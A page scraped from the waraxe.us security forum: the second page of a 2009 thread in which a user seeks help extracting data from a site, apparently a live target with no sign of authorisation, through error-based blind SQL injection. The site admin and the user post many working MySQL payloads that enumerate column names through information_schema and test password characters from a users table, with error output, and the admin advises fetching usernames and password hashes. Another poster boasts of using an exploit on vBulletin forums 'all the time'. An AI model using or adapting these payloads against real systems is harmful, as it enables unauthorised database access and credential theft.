Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 54
Members: 0
Total: 54
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Error SQL BY pass WARAXE plz I need your answer Goto page Previous1, 2
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Tue May 12, 2009 9:27 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




cr4ps if you know programming at all (like pretty much any program) you can write one to automate the process. I did that, and as a result I have an exploit that works pretty well on many vbulletin forums with a common addon, and I use it all the time (actually, even right now).
View user's profile Send private message
PostPosted: Wed May 13, 2009 11:11 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




waraxe wrote:
cr4ps wrote:
what's error-based feedback Question


If you try this two tests:

Code:

z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1


Code:

z' AND IF(LENGTH(@@version)>100,(SELECT 1 UNION ALL SELECT 1),'2')='1



... then you should see different error messages. It means, that you can distinct between "true" and "false".
In this way you are able to ask questions and get answers, bit-by-bit.

http://www.owasp.org/index.php/Blind_SQL_Injection



Thank's waraxe , It's working . . But how I can select a column from a table name?


Code:
z' AND IF(ascii(lower(substring(database(),1,1)))>5,(SELECT 1 UNION ALL SELECT 1),'2')='1



I want to select another column name called "passwd" from table name called "users" , so? Cool
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Wed May 13, 2009 11:26 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This will test first password character of first user, ordered by first column in ascending direction, for having greater ascii code than 41.

Code:

z' AND IF((SELECT ORD(SUBSTRING(passwd,1,1)) FROM users ORDER BY 1 ASC LIMIT 0,1)>41,(SELECT 1 UNION ALL SELECT 1),'2')='1
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed May 13, 2009 12:00 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




waraxe wrote:
This will test first password character of first user, ordered by first column in ascending direction, for having greater ascii code than 41.

Code:

z' AND IF((SELECT ORD(SUBSTRING(passwd,1,1)) FROM users ORDER BY 1 ASC LIMIT 0,1)>41,(SELECT 1 UNION ALL SELECT 1),'2')='1



Thank"s waraxe , working . . . Surprised

so? I want to display the columns of this table name "utilisateurs" , so it's right? my requet I mean . . . Correct me if i'm wrong pls.


Code:
z' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name="utilisateurs" ORDER BY 1 ASC LIMIT 1,1)>1
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Thu May 14, 2009 2:53 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This sql injection can work only bit-by-bit, as I said before. So you can't "display" information, you must "ask" many boolean questions and from answers you are able to construct needed information. This means >10 request per char, so for example 6-char long column name needs >60 requests. You can do this manually, but it's easier to write small script in Php, Perl, Python, Ruby or whatever your favorite programming language is.

And your previous sql query is incomplete. Try this:

Code:

z' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 18, 2009 2:55 pm Reply with quote
badrh0
Active user
Active user
Joined: Jul 06, 2008
Posts: 32




@cr4ps: pffff
View user's profile Send private message
PostPosted: Tue May 19, 2009 8:08 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Hi WARAXE
Hi All
(I'm french, sorry for my bad english) > > Cool


I have a result

By error-based feedback

Code:
a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1


The result : hdddmldd


but if i try this

Code:
' or hdddmldd='a'/*


Arrow
MySQL Error : 1054:Unknown column 'hdddmldd' in 'where clause'

So Question
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Fri May 22, 2009 12:11 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




nobody can help me ? Crying or Very sad
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 25, 2009 11:59 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Plz waraxe I need your answer
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 25, 2009 4:48 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cr4ps wrote:
Plz waraxe I need your answer


I think, that column names you got, are somehow invalid. It means that either your automated script works incorrectly or you have to try various sql query variations in order to get information retrieval usable.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed May 27, 2009 4:06 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




like this ? ( exmpel ) Correct me if i'm wrong pls.


Code:
a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>[color=red]72[/color],(SELECT 1 UNION ALL SELECT 1),'2')='1


MySQL Error : 1242:Subquery returns more than 1 row


Code:
a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>[color=red]73[/color],(SELECT 1 UNION ALL SELECT 1),'2')='1


You specified an incorrect username or password invalid.
Code:

a' AND IF((SELECT ORD(SUBSTRING(column_name,2,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>83,(SELECT 1 UNION ALL SELECT 1),'2')='1


a' AND IF((SELECT ORD(SUBSTRING(column_name,3,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>96,(SELECT 1 UNION ALL SELECT 1),'2')='1


a' AND IF((SELECT ORD(SUBSTRING(column_name,4,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>101,(SELECT 1 UNION ALL SELECT 1),'2')='1


a' AND IF((SELECT ORD(SUBSTRING(column_name,5,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>103,(SELECT 1 UNION ALL SELECT 1),'2')='1

_______________________________________________________


a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 2,1)>87,(SELECT 1 UNION ALL SELECT 1),'2')='1


a' AND IF((SELECT ORD(SUBSTRING(column_name,2,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 2,1)>97,(SELECT 1 UNION ALL SELECT 1),'2')='1

.....................


thank's for any help
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Wed May 27, 2009 5:31 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This is too complex problem and I'm not able to help you considering limited information I have. But as I said before - try sql query variations. Because this is not the only one possible query that works. Be creative, experiment. This is something I can't and will not do for you, it's your chance to learn new things by trial/error.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jun 20, 2009 8:42 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Thank you for that, but the probleme is that i don't know using SQL query variations ! Sad
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat Jun 20, 2009 6:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cr4ps wrote:
Thank you for that, but the probleme is that i don't know using SQL query variations ! Sad


This is the borderline between easy hacks and difficult hacks. I'm not able to help you from distance with minimal knowledge of related information. And besides my free time is limited ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Jun 22, 2009 11:26 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




waraxe wrote:
It seems, that you have mysql version 5.x with information_schema. And you can exploit this via error-based feedback.
But you can fetch data only bit-by-bit, asking boolean questions. So you definitely need some sort of script or program, which can automate the process.
Doing this manually is too time consuming and error prone.
First you can use information_schema.tables for finding out interesting tables and then information_schema.columns can get you column names.
Then look for credentials table and try to fetch usernames and password hashes (or plaintext passwords).



ok, so thank you for all explain, but please can you make for me a script to exploit that ?

i think, i have done an error in the request


plz waraxe Surprised
View user's profile Send private message Visit poster's website MSN Messenger
Error SQL BY pass WARAXE plz I need your answer
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 2 of 2
Goto page Previous1, 2
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.083 Seconds